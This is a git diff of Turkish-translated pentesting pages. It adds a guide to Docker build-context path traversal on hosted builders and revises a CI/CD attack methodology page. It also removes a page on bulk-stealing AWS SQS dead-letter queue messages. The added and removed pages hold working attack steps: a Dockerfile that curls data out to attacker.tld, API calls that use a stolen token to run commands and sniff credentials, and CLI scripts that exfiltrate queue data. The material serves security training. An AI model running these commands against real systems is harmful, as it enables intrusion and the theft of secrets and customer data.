diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md new file mode 100644 index 000000000..2d5c39574 --- /dev/null +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -0,0 +1,101 @@ +# Hosted Builders'da Docker Build Context'in Kötüye Kullanımı (Path Traversal, Exfil, and Cloud Pivot) + +{{#include ../banners/hacktricks-training.md}} + +## TL;DR + +If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE. + +## Saldırı yüzeyi + +Many hosted builder/registry services do roughly this when building user-submitted images: +- Read a repo-level config that includes: +- build context path (sent to the Docker daemon) +- Dockerfile path relative to that context +- Copy the indicated build context directory and the Dockerfile to the Docker daemon +- Build the image and run it as a hosted service + +If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile. + +Practical constraints commonly observed: +- The Dockerfile must reside within the chosen context path and its path must be known ahead of time. +- The build user must have read access to files included in the context; special device files can break the copy. + +## PoC: Path traversal via Docker build context + +Example malicious server config declaring a Dockerfile within the parent directory context: +```yaml +runtime: "container" +build: +dockerfile: "test/Dockerfile" # Must reside inside the final context +dockerBuildPath: ".." # Path traversal to builder user $HOME +startCommand: +type: "http" +configSchema: +type: "object" +properties: +apiKey: +type: "string" +required: ["apiKey"] +exampleConfig: +apiKey: "sk-example123" +``` +Notlar: +- ".." kullanımı genellikle builder kullanıcısının home dizinine (ör. /home/builder) çözülür; bu dizin genellikle hassas dosyalar içerir. +- Dockerfile'ınızı repo'nun dizin adı altında yerleştirin (ör. repo "test" → test/Dockerfile) böylece genişletilmiş üst bağlam içinde kalır. + +## PoC: host context'i ingest ve exfiltrate etmek için Dockerfile +```dockerfile +FROM alpine +RUN apk add --no-cache curl +RUN mkdir /data +COPY . /data # Copies entire build context (now builder’s $HOME) +RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) +``` +$HOME'den sıklıkla elde edilen hedefler: +- ~/.docker/config.json (registry auths/tokens) +- Diğer cloud/CLI önbellekleri ve yapılandırmaları (ör. ~/.fly, ~/.kube, ~/.aws, ~/.config/*) + +Tip: Depoda bir .dockerignore olsa bile, zafiyetli platform tarafı context seçimi hangi dosyaların daemon'a gönderileceğini belirler. Eğer platform, seçilen yolu repo’nuzun .dockerignore dosyasını değerlendirmeden önce daemon'a kopyalarsa, host dosyaları yine de açığa çıkabilir. + +## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) + +Bazı platformlar, hem container registry hem de control-plane API için kullanılabilen tek bir bearer token sağlar. Eğer bir registry token'ı exfiltrate ederseniz, sağlayıcının API'sine karşı deneyin. + +Çalınan token (~/.docker/config.json) kullanılarak Fly.io Machines API'ye yapılabilecek örnek API çağrıları: + +Bir org içindeki uygulamaları listele: +```bash +curl -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps?org_slug=smithery" +``` +Bir uygulamanın herhangi bir makinesinde root olarak bir komut çalıştır: +```bash +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' +``` +Sonuç: organizasyon genelinde remote code execution — token yeterli ayrıcalıklara sahipse tüm barındırılan uygulamalarda. + +## Ele geçirilmiş barındırılan servislerden gizli bilgilerin çalınması + +Barındırılan sunucularda exec/RCE ile, istemci tarafından sağlanan gizli bilgileri (API keys, tokens) toplayabilir veya prompt-injection attacks düzenleyebilirsiniz. Örnek: tcpdump kurun ve gelen kimlik bilgilerini çıkarmak için port 8080'deki HTTP trafiğini yakalayın. +```bash +# Install tcpdump inside the machine +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}' + +# Capture traffic +curl -s -X POST -H "Authorization: Bearer fm2_..." \ +"https://api.machines.dev/v1/apps//machines//exec" \ +--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' +``` +Yakalanan istekler genellikle istemci kimlik bilgilerini başlıklarda, gövdelerde veya sorgu parametrelerinde içerir. + +## Referanslar + +- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/) +- [Fly.io Machines API](https://fly.io/docs/machines/api/) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index cb21bfd99..e1cc97f27 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS açılımı **Version Control System**'dir; bu sistemler geliştiricilerin **kaynak kodlarını yönetmesine** olanak tanır. En yaygın olanı **git** ve genellikle şirketlerde aşağıdaki **platformlardan** birini göreceksiniz: +VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin **kaynak kodlarını yönetmelerini** sağlar. En yaygın olanı **git**'tir ve şirketlerin genellikle aşağıdaki **platformlar**dan birini kullandığını görürsünüz: - Github - Gitlab @@ -18,86 +18,93 @@ VCS açılımı **Version Control System**'dir; bu sistemler geliştiricilerin * ## CI/CD Pipelines -CI/CD pipelines, geliştiricilerin kodun yürütülmesini; build, test ve deploy gibi amaçlarla **otomatikleştirmesini** sağlar. Bu otomatik iş akışları, kod push'ları, pull requests veya zamanlanmış görevler gibi belirli aksiyonlarla **tetiklenir**. Geliştirmeden production'a geçiş sürecini düzene koymak için faydalıdır. +CI/CD pipelines geliştiricilerin kodu **otomatik olarak çalıştırmasını** sağlar; bu, build, test ve uygulamaların deploy edilmesi gibi amaçlar için kullanılır. Bu otomatik iş akışları, kod push'ları, pull request'ler veya zamanlanmış görevler gibi **belirli aksiyonlarla tetiklenir**. Geliştirmeden üretime giden süreci düzene sokmak için faydalıdır. -Ancak bu sistemlerin bir yerde **çalıştırılması** gerekir ve genellikle **kod deploy etmek veya hassas bilgilere erişmek için ayrıcalıklı kimlik bilgileri** kullanılır. +Ancak bu sistemlerin bir yerde **çalıştırılması gerekir** ve genellikle **kod deploy etmek veya hassas bilgilere erişmek için yetkili kimlik bilgileri** ile çalışırlar. ## VCS Pentesting Methodology > [!NOTE] -> Bazı VCS platformları pipeline oluşturmaya izin verse bile bu bölümde yalnızca kaynak kodunun kontrolüne yönelik olası saldırıları analiz edeceğiz. +> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Projenizin kaynak kodunu içeren platformlar hassas bilgi barındırır ve platform içindeki izinlerle çok dikkatli olunmalıdır. Saldırganların kötüye kullanabileceği VCS platformlarında yaygın bazı problemler şunlardır: +Projenizin kaynak kodunu içeren platformlar hassas bilgiler barındırır ve insanlar bu platform içindeki izinler konusunda çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği VCS platformlarındaki yaygın sorunlardan bazıları şunlardır: -- **Leaks**: Eğer kodunuz commit'lerde leak içeriyorsa ve saldırgan repo'ya erişebiliyorsa (çünkü public veya erişimi varsa), leak'leri keşfedebilir. -- **Access**: Eğer bir saldırgan **VCS platformu içinde bir hesaba erişim** sağlayabilirse **daha fazla görünürlük ve yetki** kazanabilir. +- **Leaks**: Kodunuz commit'lerde leaks içeriyorsa ve saldırgan repo'ya erişebiliyorsa (public olduğu için veya erişimi olduğu için) bu leak'leri keşfedebilir. +- **Access**: Bir saldırgan **VCS platformu içindeki bir hesaba erişim** sağlayabilirse daha fazla görünürlük ve izin elde edebilir. - **Register**: Bazı platformlar dış kullanıcıların hesap oluşturmasına izin verir. -- **SSO**: Bazı platformlar kullanıcı kaydına izin vermez, fakat geçerli bir SSO ile herhangi birinin erişmesine izin verebilir (örneğin saldırgan kendi github hesabını kullanarak giriş yapabilir). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kullanıcıların bir repoya erişmek için çalabilecekleri çeşitli token türleri vardır. -- **Webhooks**: VCS platformları webhook oluşturulmasına izin verir. Eğer bunlar görünür olmayan secrets ile **korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**. - - Eğer hiçbir secret yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir. - - Eğer secret URL'de ise aynı durum geçerlidir ve saldırgan bu secret'e de sahip olur. -- **Code compromise:** Eğer kötü niyetli bir aktör repo üzerinde bir tür **write** erişime sahipse, **kötü amaçlı kod enjekte etmeye** çalışabilir. Başarılı olabilmek için **branch protections**'ı atlatması gerekebilir. Bu eylemler farklı amaçlarla gerçekleştirilebilir: - - Ana branch'i ele geçirerek production ortamını tehlikeye atmak. - - Ana (veya diğer) branch'leri ele geçirerek geliştiricilerin makinelerini tehlikeye atmak (çünkü genellikle test, terraform veya repo içindekileri makinelerinde çalıştırırlar). - - **Pipeline'ı ele geçirmek** (bir sonraki bölüme bakın) +- **SSO**: Bazı platformlar kullanıcı kayıtına izin vermez, ancak geçerli bir SSO ile herkese erişim sağlar (örneğin bir saldırgan kendi github hesabını kullanarak girebilir). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... bir kullanıcı bu tür çeşitli token'ları çalarak repo'ya bir şekilde erişebilir. +- **Webhooks**: VCS platformları webhook oluşturulmasına izin verir. Eğer bunlar görünmeyen secret'larla **korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**. +- Eğer hiçbir secret kullanılmıyorsa, saldırgan üçüncü taraf platformun webhook'unu suistimal edebilir +- Eğer secret URL içinde ise aynı durum olur ve saldırgan ayrıca secret'a da sahip olur +- **Code compromise:** Kötü niyetli bir aktör repo'larda bir tür **write** erişimine sahipse, **zararlı kod enjekte etmeyi** deneyebilir. Başarılı olabilmek için **branch korumalarını aşması** gerekebilir. Bu eylemler farklı amaçlarla gerçekleştirilebilir: +- Ana branch'i ele geçirerek **production'ı kompromize etmek**. +- Ana (veya diğer) branch'leri ele geçirerek **geliştirici makinelerini kompromize etmek** (çünkü geliştiriciler genellikle test, terraform veya repo içindeki diğer işleri makinelerinde çalıştırır). +- **Pipeline'ı kompromize etmek** (bir sonraki bölüme bakın) ## Pipelines Pentesting Methodology -Bir pipeline tanımlamanın en yaygın yolu, pipeline'ın build ettiği repository içinde barındırılan bir **CI configuration file** kullanmaktır. Bu dosya çalıştırılan job'ların sırasını, akışı etkileyen koşulları ve build ortamı ayarlarını tanımlar.\ -Bu dosyalar genelde tutarlı bir isim ve formatta olur; örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde pipeline job'ı seçilen kaynaktan (ör. commit / branch) **kodu çeker** ve CI configuration file'da belirtilen **komutları bu koda karşı çalıştırır**. +Bir pipeline'ı tanımlamanın en yaygın yolu, pipeline'ın buildlediği repository'de barındırılan **CI konfigürasyon dosyası** kullanmaktır. Bu dosya çalıştırılan job'ların sırasını, akışı etkileyen koşulları ve build ortamı ayarlarını tanımlar.\ +Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), ve GitHub Actions YAML dosyaları .github/workflows altında bulunur. Tetiklendiğinde, pipeline job'ı seçili kaynaktan (ör. commit / branch) **kodu pull eder** ve o koda karşılık CI konfigürasyon dosyasında **belirtilen komutları çalıştırır**. -Dolayısıyla saldırganın nihai hedefi bir şekilde **bu konfigürasyon dosyalarını** veya **bunların çalıştırdığı komutları** ele geçirmek olacaktır. +Dolayısıyla saldırganın nihai hedefi bir şekilde bu konfigürasyon dosyalarını veya **çalıştırdıkları komutları kompromize etmektir**. + +> [!TIP] +> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: +> +>{{#ref}} +>docker-build-context-abuse.md +>{{#endref}} ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) yolu, bir SCM repository'deki izinleri suistimal ederek bir CI pipeline'ını manipüle etmeyi ve zararlı komutlar çalıştırmayı hedefler. Gerekli izinlere sahip kullanıcılar CI konfigürasyon dosyalarını veya pipeline job'ı tarafından kullanılan diğer dosyaları düzenleyerek kötü amaçlı komutlar ekleyebilir. Bu, CI pipeline'ını "poison" ederek bu kötü amaçlı komutların çalıştırılmasına yol açar. +The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. -Bir kötü niyetli aktörün başarılı bir PPE saldırısı gerçekleştirebilmesi için şunlara sahip olması gerekir: +Bir saldırganın PPE saldırısını başarılı şekilde gerçekleştirebilmesi için şunlara ihtiyacı vardır: -- Genellikle pipeline'lar bir push veya pull request yapıldığında tetiklendiği için **VCS platformunda write erişimi** olmalıdır. (VCS pentesting methodology kısmında erişim elde etme yolları özetlenmiştir). -- Bazen bir **external PR'in "write access" olarak sayıldığını** unutmayın. -- Write izinleri olsa bile, **CI config dosyasını veya config'in dayandığı diğer dosyaları değiştirebildiğinden** emin olmalıdır. -- Bunun için **branch protections**'ı atlatabilmesi gerekebilir. +- VCS platformunda **write access** sahibi olmak; çünkü genellikle pipeline'lar bir push veya pull request gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting methodology bölümüne bakın). +- Bazen bir **external PR'in "write access" olarak sayılabileceğini** unutmayın. +- Yazma izinleri olsa bile, **CI config dosyasını veya konfigürasyonun dayandığı diğer dosyaları** değiştirebildiğinden emin olmalıdır. +- Bunun için branch korumalarını **aşabilmesi** gerekebilir. 3 PPE çeşidi vardır: -- **D-PPE**: Bir **Direct PPE** saldırısı, aktörün çalıştırılacak CI config dosyasını **doğrudan değiştirdiği** durumlarda gerçekleşir. -- **I-DDE**: Bir **Indirect PPE** saldırısı, aktörün CI config dosyasının **dayandığı bir dosyayı** (ör. make file veya terraform config) **değiştirdiği** durumlarda gerçekleşir. -- **Public PPE or 3PE**: Bazı durumlarda pipeline'lar repo'da write erişimi olmayan (hatta org içinde olmayan) kullanıcılar tarafından gönderilen PR'ler sayesinde tetiklenebilir. -- **3PE Command Injection**: Genellikle CI/CD pipeline'ları PR hakkında bilgi içeren environment variable'lar ayarlar. Eğer bu değer saldırgan tarafından kontrol edilebiliyorsa (ör. PR başlığı gibi) ve tehlikeli bir yerde (ör. sh komutları çalıştırma) **kullanılıyorsa**, saldırgan buraya komut enjekte edebilir. +- **D-PPE**: Bir **Direct PPE** saldırısı, aktörün **çalıştırılacak CI config** dosyasını **doğrudan değiştirdiği** durumda gerçekleşir. +- **I-DDE**: Bir **Indirect PPE** saldırısı, aktörün CI config dosyasının **dayandığı** (ör. make file veya terraform konfigürü gibi) bir **dosyayı değiştirdiği** durumda gerçekleşir. +- **Public PPE or 3PE**: Bazı durumlarda pipeline'lar, repo'da write access'i olmayan kullanıcılar (hatta org üyesi olmayanlar) tarafından gönderilen PR'lerle **tetiklenebilir**. +- **3PE Command Injection**: Genellikle, CI/CD pipeline'ları **PR hakkında bilgileri içeren environment variable'lar** ayarlar. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (ör. PR başlığı) ve **tehlikeli bir yerde** (ör. **sh komutları** çalıştırılan yerde) **kullanılıyorsa**, saldırgan buraya **komut enjekte edebilir**. ### Exploitation Benefits -3 PPE çeşidini bildiğimize göre, başarılı bir istismardan sonra saldırganın neler elde edebileceğine bakalım: +3 PPE çeşidini bildiğimize göre, başarılı bir sömürü sonrasında bir saldırganın elde edebileceklerine bakalım: -- **Secrets**: Daha önce bahsedildiği gibi, pipeline job'larının kodu çekmesi, build etmesi, deploy etmesi vb. için **privilege** gerekir ve bu yetkiler genelde **secrets** olarak sağlanır. Bu secrets genelde **env variable'lar veya sistem içindeki dosyalar** aracılığıyla erişilebilir. Bu yüzden saldırgan mümkün olduğunca çok secret'i exfiltrate etmeye çalışacaktır. -- Pipeline platformuna bağlı olarak saldırgan **secret'leri config içinde belirtmesi gerekebilecek** pipeline'ların yetkilerini yalnızca sınırlı şekilde exfiltrate edebilir. Yani saldırgan CI konfigürasyon dosyasını değiştiremiyorsa (**I-PPE** gibi), yalnızca o pipeline'ın sahip olduğu secret'leri çalabilir. -- **Computation**: Kod bir yerde çalıştırılır; nerede çalıştığına bağlı olarak saldırgan daha ileri pivotlar yapabilir. -- **On-Premises**: Eğer pipeline'lar on-premises çalışıyorsa, saldırgan **dahili bir ağa** erişip daha fazla kaynağa ulaşabilir. -- **Cloud**: Saldırgan buluta diğer makinelerden erişebilir ve ayrıca IAM rollerinden/service account'lardan token'lar exfiltrate edip bulut içinde daha ileri erişimler elde edebilir. -- **Platforms machine**: Bazı job'lar pipeline platform makineleri içinde çalıştırılır; bu makineler genelde bulut içindedir ve daha fazla erişime sahip olmayabilir. -- **Select it:** Bazen pipeline platformu birkaç farklı makine yapılandırmış olur ve eğer CI configuration file'ını değiştirebilirseniz kötü amaçlı kodu hangi makinede çalıştırmak istediğinizi belirtebilirsiniz. Bu durumda saldırgan muhtemelen her olası makinede reverse shell açıp daha fazla istismar deneyecektir. -- **Compromise production**: Eğer pipeline içinde bulunur ve son sürüm pipeline'dan build edilip deploy ediliyorsa, production'da çalışacak kodu compromise edebilirsiniz. +- **Secrets**: Daha önce de belirtildiği gibi, pipeline job'ları için kodu retrieve etmek, build etmek, deploy etmek vb. için **privilegeler** gerekmektedir ve bu privilegeler genellikle **secret'larda saklanır**. Bu secret'lar genellikle **env variables veya sistem içindeki dosyalar** aracılığıyla erişilebilir. Bu nedenle saldırgan mümkün olduğunca çok secret'ı exfiltrate etmeye çalışacaktır. +- Pipeline platformuna bağlı olarak saldırgan **secret'ların config içinde belirtilmesini** isteyebilir. Bu, eğer saldırgan CI konfigürasyon dosyasını değiştiremiyorsa (**I-PPE** gibi), yalnızca o pipeline'ın sahip olduğu secret'ları exfiltrate edebileceği anlamına gelir. +- **Computation**: Kod bir yerde çalıştırılır; nerede çalıştırıldığına bağlı olarak saldırgan daha ileriye pivot yapabilir. +- **On-Premises**: Eğer pipeline'lar on-premises çalıştırılıyorsa, saldırgan **iç ağa** erişebilir ve daha fazla kaynağa ulaşabilir. +- **Cloud**: Saldırgan bulut içindeki diğer makinelere erişebilir ancak ayrıca IAM role/service account **token'larını** exfiltrate ederek bulut içinde **daha fazla erişim** elde edebilir. +- **Platforms machine**: Bazen job'lar, genellikle daha fazla erişimi olmayan bir bulut içinde bulunan **pipeline platform makinelerinde** çalıştırılır. +- **Select it:** Bazen **pipeline platformu birden fazla makine** yapılandırmıştır ve eğer CI config dosyasını değiştirebiliyorsanız, **zararlı kodu hangi makinelerde çalıştırmak istediğinizi belirtebilirsiniz**. Bu durumda saldırgan muhtemelen her bir olası makinede ters bağlanma (reverse shell) çalıştırıp daha fazla istismar deneyecektir. +- **Compromise production**: Eğer pipeline içindeyseniz ve nihai sürüm buradan build edilip deploy ediliyorsa, production'da çalışacak kodu **kompromize edebilirsiniz**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) bir açık kaynak aracıdır ve yazılım tedarik zinciri yığınıınızı yeni bir [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için denetler. Denetim, kod zamanından deploy zamanına kadar tüm SDLC sürecine odaklanır ve riskleri ortaya çıkarabilir. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) açık kaynaklı bir araçtır ve yeni bir [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde yazılım tedarik zinciri yığınıınızı güvenlik uyumluluğu açısından denetler. Denetim, koddan deploy anına kadar tüm SDLC sürecine odaklanır ve riskleri ortaya çıkarabilir. ### Top 10 CI/CD Security Risk -Cider'a göre en önemli 10 CI/CD riski hakkında ilginç makaleyi inceleyin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider'a göre CI/CD risklerinin en önemli 10 tanesini anlatan ilginç makaleyi inceleyin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Yerelde çalıştırabileceğiniz her platform için nasıl yerelde başlatılacağı gösterilmiştir; böylece istediğiniz gibi yapılandırıp test edebilirsiniz. +- Lokal olarak çalıştırabileceğiniz her platform için, onu yerel olarak başlatıp istediğiniz gibi yapılandırarak test edebilmeniz için talimatlar bulacaksınız - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**, infrastructure-as-code için statik kod analizi yapan bir araçtır. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** infrastructure-as-code için statik kod analizi aracıdır. ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md deleted file mode 100644 index f654b8654..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ /dev/null @@ -1,154 +0,0 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask - -{{#include ../../../banners/hacktricks-training.md}} - -## Description - -SQS message move task'larını kötüye kullanarak bir kurbanın Dead-Letter Queue (DLQ)'sinde birikmiş tüm mesajları `sqs:StartMessageMoveTask` ile saldırganın kontrolündeki bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini kullanarak DLQ'lerde zamanla biriken hassas verileri exfiltrate etmek için sömürüyor. - -## What is a Dead-Letter Queue (DLQ)? - -Dead-Letter Queue (DLQ), ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir: -- İşlenemeyen hassas uygulama verileri -- Hata detayları ve debugging bilgileri -- Personal Identifiable Information (PII) -- API tokens, credentials veya diğer sırlar -- İş açısından kritik işlem verileri - -DLQ'ler başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların düzgün işleyemediği hassas veriler zaman içinde burada biriktiği için değerli hedefler oluştururlar. - -## Attack Scenario - -**Real-world example:** -1. **E-commerce application** müşteri siparişlerini SQS üzerinden işler -2. **Bazı siparişler başarısız olur** (ödeme sorunları, envanter problemleri vb.) ve bir DLQ'ye taşınır -3. **DLQ haftalar/aylar boyunca** müşteri verileri içeren başarısız siparişlerle dolar: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Saldırgan AWS kimlik bilgilerine erişir** ve SQS izinlerine sahip olur -5. **Saldırgan DLQ'nin** binlerce hassas veri içeren başarısız sipariş barındırdığını keşfeder -6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve bariz), saldırgan tüm mesajları toplu olarak kendi kuyruğuna aktarmak için `StartMessageMoveTask` kullanır -7. **Saldırgan tek seferde** tüm geçmiş hassas verileri çıkarır - -## Requirements -- Kaynak kuyruk bir DLQ olarak yapılandırılmış olmalıdır (en az bir kuyruk tarafından RedrivePolicy ile referans verilmeli). -- IAM izinleri (ele geçirilmiş kurban principal olarak çalıştırılan): -- DLQ (kaynak) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Hedef kuyruk üzerinde: mesaj teslim etme izni (ör. kurban principal'e `sqs:SendMessage` izin veren bir queue policy). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir. -- Eğer SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`. - -## Impact -DLQ'lerde birikmiş hassas yükleri (başarısız event'ler, PII, token'lar, uygulama payload'ları) yerel SQS API'leri kullanarak yüksek hızda exfiltrate edebilirsiniz. Hedef kuyruk politikası kurban principal için `SendMessage` izni veriyorsa çapraz hesaplarda da çalışır. - -## How to Abuse - -- Kurban DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak referans verildiğinden emin olun (herhangi bir kuyruğun RedrivePolicy'sinde referans olması yeterlidir). -- Saldırgan kontrolündeki bir hedef kuyruk oluşturun veya seçin ve ARN'sini alın. -- Kurban DLQ'sinden hedef kuyruğunuza bir message move task başlatın. -- İlerlemeyi izleyin veya gerekirse iptal edin. - -### CLI Example: Exfiltrating Customer Data from E-commerce DLQ - -**Scenario**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve bir e-commerce uygulamasının SQS ile DLQ kullandığını, DLQ'de başarısız müşteri sipariş işlemlerinin bulunduğunu keşfetmiş. - -1) **Discover and examine the victim DLQ** -```bash -# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) -aws sqs list-queues --queue-name-prefix dlq - -# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq -VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" -SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -# Check how many messages are in the DLQ (potential treasure trove!) -aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ ---attribute-names ApproximateNumberOfMessages -# Output might show: "ApproximateNumberOfMessages": "1847" -``` -2) **attacker-controlled destination queue oluşturun** -```bash -# Create our exfiltration queue -ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) -ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) - -echo "Created exfiltration queue: $ATTACKER_Q_ARN" -``` -3) **Toplu mesaj hırsızlığını gerçekleştir** -```bash -# Start moving ALL messages from victim DLQ to our queue -# This operation will transfer thousands of failed orders containing customer data -echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" -TASK_RESPONSE=$(aws sqs start-message-move-task \ ---source-arn "$SRC_ARN" \ ---destination-arn "$ATTACKER_Q_ARN" \ ---max-number-of-messages-per-second 100) - -echo "Move task started: $TASK_RESPONSE" - -# Monitor the theft progress -aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 -``` -4) **Çalınan hassas verileri toplayın** -```bash -# Receive the exfiltrated customer data -echo "Receiving stolen customer data..." -aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---attribute-names All --message-attribute-names All \ ---max-number-of-messages 10 --wait-time-seconds 5 - -# Example of what an attacker might see: -# { -# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", -# "MessageId": "12345-abcd-6789-efgh" -# } - -# Continue receiving all messages in batches -while true; do -MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ ---max-number-of-messages 10 --wait-time-seconds 2 --output json) - -if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then -echo "No more messages - exfiltration complete!" -break -fi - -echo "Received batch of stolen data..." -# Process/save the stolen customer data -echo "$MESSAGES" >> stolen_customer_data.json -done -``` -### Hesaplar arası notlar -- Hedef kuyruk, hedef principal'ın `sqs:SendMessage` yapmasına izin veren bir kaynak politikasına sahip olmalıdır (ve kullanılıyorsa KMS grant/izinleri). - -## Neden Bu Saldırı Etkili - -1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır; bu da kötü amaçlı olarak tespit edilmesini zorlaştırır -2. **Toplu İşlem**: Binlerce mesajı tek tek yavaş erişim yerine hızlıca aktarır -3. **Tarihsel Veri**: DLQs haftalar/aylar boyunca hassas verileri biriktirir -4. **Gözden Kaçabilir**: Birçok kuruluş DLQ erişimini yakından izlemez -5. **Hesaplar Arası Yeteneği**: İzinler varsa saldırganın kendi AWS hesabına exfiltrate edebilir - -## Tespit ve Önleme - -### Tespit -Şüpheli `StartMessageMoveTask` API çağrıları için CloudTrail'i izleyin: -```json -{ -"eventName": "StartMessageMoveTask", -"sourceIPAddress": "suspicious-ip", -"userIdentity": { -"type": "IAMUser", -"userName": "compromised-user" -}, -"requestParameters": { -"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", -"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" -} -} -``` -### Önleme -1. **Least Privilege**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere sınırlayın -2. **Monitor DLQs**: Olağandışı DLQ etkinliği için CloudWatch alarmları oluşturun -3. **Cross-Account Policies**: Hesaplar arası erişime izin veren SQS queue politikalarını dikkatle gözden geçirin -4. **Encrypt DLQs**: Sınırlı anahtar politikalarıyla SSE-KMS 